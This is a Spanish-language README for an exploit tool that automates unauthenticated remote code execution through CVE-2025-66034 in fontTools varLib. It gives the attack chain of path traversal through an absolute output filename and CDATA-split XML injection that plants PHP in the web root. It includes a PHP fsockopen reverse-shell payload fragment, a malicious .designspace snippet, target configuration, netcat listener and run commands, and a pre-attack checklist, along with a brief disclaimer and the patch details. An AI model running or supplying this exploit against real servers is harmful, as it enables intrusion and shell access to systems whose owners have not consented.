
Exploit automatizado para CVE-2025-66034, que encadena path traversal e inyección XML en fontTools varLib para lograr ejecución remota de código sin autenticación mediante la carga de un archivo .designspace manipulado.
fontTools varLib — Escritura Arbitraria de Archivos + Inyección XML → Ejecución Remota de Código
CVE-2025-66034 es una vulnerabilidad en el pipeline de generación de fuentes variables fontTools.varLib. Cuando una aplicación web expone este pipeline y acepta archivos .designspace proporcionados por el usuario, dos debilidades se encadenan para lograr ejecución remota de código sin autenticación.
font_varlib.py automatiza toda la cadena de explotación — generación de fuentes, creación del payload, carga y entrega de la reverse shell.
Attacker crafts malicious .designspace
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── PATH TRAVERSAL
│ os.path.join(output_dir, absolute_path)
│ → output_dir discarded → write to web root
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── XML INJECTION
CDATA split embeds raw PHP
into the output font binary
│
▼
fontTools.varLib.main() processes file server-side
│
▼
shell.php written to web-accessible directory
│
▼
GET /files/shell.php → PHP executes → reverse shell callback
│
▼
RCE as www-data
Python: 3.9+
Dependencias:
pip install fonttools requests
Sistema:
nc (netcat) — required for auto listener mode (--no-listen skips this)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
Antes de ejecutar, abre font_varlib.py y actualiza el bloque de configuración al inicio del archivo para que coincida con tu objetivo. Cada valor tiene un comentario en línea que explica qué es y cómo encontrar el valor correcto.
# ══════════════════════════════════════════════════════════════════════════════
# DEFAULTS
# Change these to match your target before running.
# All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════
# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST = "http://test.com"
# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT = "/var/www/test.com/public/files"
# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST = "http://testing.test.com/files"
# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX = "f0nt_"
# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8
Consejo: Intercepta una solicitud de carga legítima en Burp Suite para confirmar
UPLOAD_ENDPOINTy los nombres exactos de los campos multipart antes de ejecutar. Una discrepancia en los nombres de los campos provoca un fallo silencioso: el servidor devuelve HTTP 200 pero no se escribe ninguna shell.
python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>
# Terminal 1 — start your listener
nc -lvnp 4444
# Terminal 2 — run exploit without auto listener
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
Se generan programáticamente dos archivos fuente .ttf mínimos pero estructuralmente válidos usando fontTools.FontBuilder. varLib requiere al menos dos masters de eje para procesar una fuente variable; estos satisfacen ese requisito sin necesidad de archivos de fuente reales en disco.
Se construye un archivo XML .designspace malicioso que incorpora ambas primitivas de ataque:
Primitiva 1 — Inyección XML mediante división de CDATA:
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
La secuencia ]]]]><![CDATA[> termina el bloque CDATA actual e inmediatamente abre uno nuevo. El parser XML procesa esto como marcado válido, pero varLib serializa el contenido tal cual en el archivo de salida — incrustando PHP crudo en el binario de la fuente.
Primitiva 2 — Path Traversal mediante el atributo filename:
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
varLib construye la ruta de salida como:
output_path = os.path.join(output_dir, filename)
Cuando filename es una ruta absoluta, os.path.join() de Python descarta output_dir por completo. No se aplica ninguna sanitización en las versiones afectadas.
El archivo .designspace y ambos archivos .ttf se envían como un POST multipart al endpoint de generación de fuentes del objetivo utilizando los nombres de campo confirmados con Burp.
Una petición HTTP GET al archivo .php escrito ejecuta la reverse shell, que se conecta de vuelta al listener nc del atacante mediante fsockopen + proc_open — sin necesidad de curl, wget o Python en el objetivo.
fontTools/varLib/__init__.py (versiones afectadas):
filename = vf.filename # attacker-controlled, unsanitised
output_path = os.path.join(output_dir, filename) # path traversal via absolute path
vf.save(output_path) # arbitrary file write
Parche en 4.60.2 — aplica os.path.basename() sobre filename antes de construir output_path, eliminando todas las secuencias de path traversal.
Antes de ejecutar, confirma todo lo siguiente:
[ ] fonttools version on target is >= 4.33.0 and < 4.60.2
[ ] Target accepts .designspace + .ttf file uploads
[ ] Backend calls fontTools.varLib.main() on the uploaded .designspace
[ ] Upload form field names confirmed with Burp (designspace + masters)
[ ] WEBROOT is web-accessible from outside
[ ] WEBROOT is writable by the web process (www-data or equivalent)
[ ] SHELL_HOST (--shell) is reachable from your machine
[ ] Target hostname are in /etc/hosts
| Entorno | Versión de fonttools | Resultado |
|---|---|---|
| Ubuntu 22.04 / Python 3.11 | 4.59.0 | ✓ Confirmado |
Esta herramienta se proporciona únicamente con fines de investigación de seguridad educativa y autorizada.
No la utilices contra ningún sistema que no poseas o para el que no tengas permiso explícito por escrito para realizar pruebas. El autor no asume ninguna responsabilidad por el mal uso o cualquier daño causado por este software.
| Campo | Detalle |
|---|
| ID CVE | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| Paquete | fonttools (pip) |
| Rango Afectado | >= 4.33.0, < 4.60.2 |
| Corregido En | 4.60.2 |
| Gravedad | Moderada (CVSS 6.3) |
| Vector de Ataque | Local (requiere carga de archivo en el objetivo) |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Requerida (disparador de carga) |
| # | Primitiva | CWE | Causa Raíz |
|---|
| 1 | Path Traversal | CWE-22 | El atributo filename en .designspace se pasa directamente a os.path.join() sin sanitización — las rutas absolutas descartan por completo el directorio de salida previsto |
| 2 | Inyección XML | CWE-91 | Las secciones CDATA de <labelname> permiten que una secuencia de división (]]]]><![CDATA[>) cuele PHP crudo más allá del parser XML en el archivo de salida escrito |
| Argumento | Obligatorio | Predeterminado | Descripción |
|---|
--ip | ✓ | — | IP del listener del atacante |
--port | ✓ | — | Puerto del listener del atacante |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | Endpoint de carga (POST) | |
--webroot | WEBROOT | Ruta de escritura en el sistema de archivos del servidor (debe ser accesible por web) | |
--shell | SHELL_HOST | URL base utilizada para ejecutar la shell escrita | |
--no-listen | false | Omitir listener automático de nc — solo disparo |
| Recurso | Enlace |
|---|
| NVD — CVE-2025-66034 | https://nvd.nist.gov/vuln/detail/CVE-2025-66034 |
| Aviso de Seguridad de fontTools | https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv |
| Commit del Parche — a696d5b | https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32 |
| Proyecto fontTools | https://github.com/fonttools/fonttools |